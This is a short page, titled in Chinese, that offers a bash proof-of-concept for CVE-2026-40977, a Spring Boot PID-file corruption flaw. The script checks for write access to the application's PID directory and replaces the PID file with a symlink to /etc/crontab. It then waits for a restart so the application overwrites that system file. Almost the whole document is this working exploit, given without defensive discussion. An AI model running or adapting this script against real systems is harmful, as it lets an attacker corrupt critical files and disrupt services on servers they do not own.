CVE-2026-40977 Spring Boot PID文件损坏漏洞

#!/bin/bash # PoC for CVE-2026-40977: Spring Boot ApplicationPidFileWriter File Corruption # Description: Exploits the race condition where the PID file is written to a symlink. # Attacker requires write access to the PID file directory. TARGET_FILE="/etc/crontab" # Target file to corrupt PID_FILE_DIR="/var/run/myapp/" PID_FILE_NAME="application.pid" FULL_PID_PATH="${PID_FILE_DIR}${PID_FILE_NAME}" echo "[*] Checking write access to ${PID_FILE_DIR}..." if [ -w "$PID_FILE_DIR" ]; then echo "[+] Write access confirmed." else echo "[-] No write access. Exploit failed." exit 1 fi echo "[*] Creating symlink from ${FULL_PID_PATH} to ${TARGET_FILE}..." # Remove existing file/link if present rm -f "$FULL_PID_PATH" # Create symlink pointing to the target file ln -s "$TARGET_FILE" "$FULL_PID_PATH" echo "[+] Symlink created." echo "[*] Waiting for the Spring Boot application to restart..." echo "[*] Upon restart, the PID will be written to ${TARGET_FILE}, corrupting it." # Wait loop (simulation) while true; do if [ -L "$FULL_PID_PATH" ]; then sleep 1 else echo "[!] Link removed or replaced by application." break fi done